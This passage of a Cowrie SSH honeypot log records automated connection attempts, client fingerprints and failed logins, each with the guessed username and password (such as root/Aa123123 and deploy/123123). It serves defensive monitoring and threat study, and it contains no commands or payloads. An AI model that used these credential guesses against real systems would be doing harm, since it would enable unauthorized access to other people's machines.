{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:23.139431Z","src_ip":"194.113.233.25","session":"cf0511d8b8ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":53804,"dst_ip":"159.203.135.109","dst_port":22,"session":"58725862a91d","protocol":"ssh","message":"New connection: 103.77.175.15:53804 (159.203.135.109:22) [session: 58725862a91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:25.263625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:25.268074Z","src_ip":"103.77.175.15","session":"58725862a91d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:25.524872Z","src_ip":"103.77.175.15","session":"58725862a91d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wwww1234","message":"login attempt [root/wwww1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:27.224851Z","src_ip":"103.77.175.15","session":"58725862a91d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52580,"dst_ip":"10.17.0.5","dst_port":22,"session":"15981e4168c6","protocol":"ssh","message":"New connection: 45.156.87.147:52580 (10.17.0.5:22) [session: 15981e4168c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:27.295907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:27.300850Z","src_ip":"45.156.87.147","session":"15981e4168c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:27.389795Z","src_ip":"45.156.87.147","session":"15981e4168c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:27.653155Z","src_ip":"45.156.87.147","session":"15981e4168c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:28.749696Z","src_ip":"45.156.87.147","session":"15981e4168c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:29.079468Z","src_ip":"103.77.175.15","session":"58725862a91d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":55558,"dst_ip":"10.17.0.5","dst_port":22,"session":"0634a4de9fe1","protocol":"ssh","message":"New connection: 8.219.200.1:55558 (10.17.0.5:22) [session: 0634a4de9fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:30.545774Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36992,"dst_ip":"10.17.0.5","dst_port":22,"session":"12b17f95d6f6","protocol":"ssh","message":"New connection: 45.156.87.147:36992 (10.17.0.5:22) [session: 12b17f95d6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:33.464507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:33.469064Z","src_ip":"45.156.87.147","session":"12b17f95d6f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:33.553420Z","src_ip":"45.156.87.147","session":"12b17f95d6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"1234","message":"login attempt [runner/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:33.808241Z","src_ip":"45.156.87.147","session":"12b17f95d6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:34.894616Z","src_ip":"45.156.87.147","session":"12b17f95d6f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":55578,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f6af726ac4e","protocol":"ssh","message":"New connection: 8.219.200.1:55578 (10.17.0.5:22) [session: 2f6af726ac4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:35.648237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:37.121296Z","src_ip":"8.219.200.1","session":"0634a4de9fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:37.363321Z","src_ip":"8.219.200.1","session":"0634a4de9fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53382,"dst_ip":"10.17.0.5","dst_port":22,"session":"796164bcde11","protocol":"ssh","message":"New connection: 45.156.87.147:53382 (10.17.0.5:22) [session: 796164bcde11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:39.624068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:39.628233Z","src_ip":"45.156.87.147","session":"796164bcde11","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:39.670118Z","src_ip":"8.219.200.1","session":"2f6af726ac4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:39.712409Z","src_ip":"45.156.87.147","session":"796164bcde11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:39.904558Z","src_ip":"8.219.200.1","session":"2f6af726ac4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:39.975723Z","src_ip":"45.156.87.147","session":"796164bcde11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:41.071765Z","src_ip":"45.156.87.147","session":"796164bcde11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53384,"dst_ip":"10.17.0.5","dst_port":22,"session":"678c587efdb1","protocol":"ssh","message":"New connection: 45.156.87.147:53384 (10.17.0.5:22) [session: 678c587efdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:45.732967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:45.738704Z","src_ip":"45.156.87.147","session":"678c587efdb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:45.822202Z","src_ip":"45.156.87.147","session":"678c587efdb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:46.072122Z","src_ip":"45.156.87.147","session":"678c587efdb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:47.161764Z","src_ip":"45.156.87.147","session":"678c587efdb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:47.986272Z","src_ip":"8.219.200.1","session":"0634a4de9fe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:48.417335Z","src_ip":"8.219.200.1","session":"2f6af726ac4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:50.473847Z","src_ip":"8.219.200.1","session":"2f6af726ac4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.1","message":"Connection lost after 20.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:50.671214Z","src_ip":"8.219.200.1","session":"0634a4de9fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":53034,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aa8e59e9e8c","protocol":"ssh","message":"New connection: 8.219.200.1:53034 (10.17.0.5:22) [session: 3aa8e59e9e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:50.800493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:51.508833Z","src_ip":"8.219.200.1","session":"3aa8e59e9e8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:51.512135Z","src_ip":"8.219.200.1","session":"3aa8e59e9e8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43264,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4c3079159e8","protocol":"ssh","message":"New connection: 45.156.87.147:43264 (10.17.0.5:22) [session: a4c3079159e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:51.733040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:51.736851Z","src_ip":"45.156.87.147","session":"a4c3079159e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@ope